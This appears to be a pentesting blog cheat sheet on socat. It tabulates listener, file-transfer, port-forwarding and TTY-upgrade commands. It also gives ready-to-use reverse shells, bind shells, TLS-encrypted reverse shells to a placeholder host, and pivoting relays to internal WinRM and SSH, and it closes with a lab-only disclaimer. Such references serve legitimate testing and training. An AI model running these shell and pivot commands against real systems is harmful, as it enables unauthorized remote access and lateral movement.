root@sparrow:~/writeups$ cat socat.md
// Shells & Pivoting
socat
21 Jul 2026
· 3 min read
socat(SOcket CAT) is a command-line utility that opens two bidirectional data streams and wires them together. It goes far beyondnetcat: it speaks TCP, UDP, Unix sockets, TLS, PTYs and files, which makes it the swiss army knife for relays, tunnels and shells in pentesting.
What sets socat apart is that each endpoint is an independent address with its own options, and the tool simply bridges the two. Grasping that symmetry is the key: a truly interactive shell does not come from the socket itself but from allocating a PTY (pty, raw, echo=0) on the right side so the remote terminal behaves like a local one.
1. Beginner level — relays, listeners and shells

| Command | What it does |
|---|---|
socat - TCP:<ip>:80 | Connect to a TCP port |
socat TCP-LISTEN:4444 - | Basic listener |
socat TCP-LISTEN:4444,reuseaddr,fork - | Persistent, reusable listener |
socat TCP:<ip>:4444 EXEC:/bin/bash | Reverse shell |
socat TCP-LISTEN:4444,reuseaddr EXEC:/bin/bash | Bind shell |
socat FILE:`tty`,raw,echo=0 TCP:<ip>:4444 | Reverse shell with TTY (client) |
socat TCP-LISTEN:4444,reuseaddr FILE:`tty`,raw,echo=0 | Listener with a full TTY |
socat -u FILE:archivo TCP:<ip>:4444 | Send a file |
socat -u TCP-LISTEN:4444 FILE:out,create | Receive a file |
socat TCP-LISTEN:8080,fork TCP:<ip>:80 | Port forwarding (port forward) |
socat UDP-LISTEN:53 - | UDP listener |
socat readline TCP:<ip>:4444 | Client with history (readline) |
socat -d -d TCP-LISTEN:4444 - | Increase the debug level |
socat -h | Show the help |
2. Advanced level — TLS shells and pivoting

| Command | What it does |
|---|---|
socat OPENSSL-LISTEN:4444,cert=c.pem,verify=0 EXEC:/bin/bash | Encrypted bind shell (TLS) |
socat OPENSSL:<ip>:4444,verify=0 EXEC:/bin/bash | Encrypted reverse shell |
socat TCP-LISTEN:8080,fork,reuseaddr TCP:10.10.10.5:80 | Pivot: forward to an internal host |
socat TCP-LISTEN:5985,fork TCP:dc01:5985 | WinRM relay through the pivot |
socat file:`tty`,raw,echo=0 tcp-listen:4444 | Upgrade a shell to a full TTY |
socat EXEC:'bash -li',pty,stderr,setsid,sigint,sane TCP:<ip>:4444 | Perfect interactive reverse shell |
socat TCP4-LISTEN:4444,fork OPENSSL:<ip>:443,verify=0 | Forwarded TLS tunnel |
socat -v TCP-LISTEN:8080,fork TCP:<ip>:80 | Proxy that shows the traffic |
socat TCP-LISTEN:4444,fork,bind=<ip> EXEC:/bin/bash | Bind the listening interface |
socat UDP-LISTEN:4444,fork UDP:<ip>:4444 | UDP forwarding |
socat PTY,link=/tmp/ttyV0 TCP:<ip>:4444 | Create a linked virtual PTY |
socat STDIO TCP:<ip>:4444,connect-timeout=5 | Connection timeout |
socat TCP-LISTEN:4444,fork,max-children=2 EXEC:/bin/bash | Limit concurrent connections |
socat TCP-LISTEN:2222,fork TCP:10.10.10.5:22 | Forward internal SSH to the attacker |
3. Details people miss
- socat is almost never preinstalled on the target: upload a static binary or fall back to nc/bash if you cannot drop it.
- The two-command full-TTY method (listener with FILE:`tty`,raw,echo=0 and client with pty,stderr,setsid,sane) gives you a fully interactive shell without the manual stty tricks.
- For encrypted shells, the cert=c.pem file must contain the private key and the certificate concatenated in the same PEM; generate it with openssl before you start listening.
- verify=0 disables TLS certificate validation: it encrypts the channel but does not protect against MITM, so use it only in controlled environments.
- reuseaddr avoids the "Address already in use" error when restarting a listener; fork is essential to serve more than one connection or keep the listener alive.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.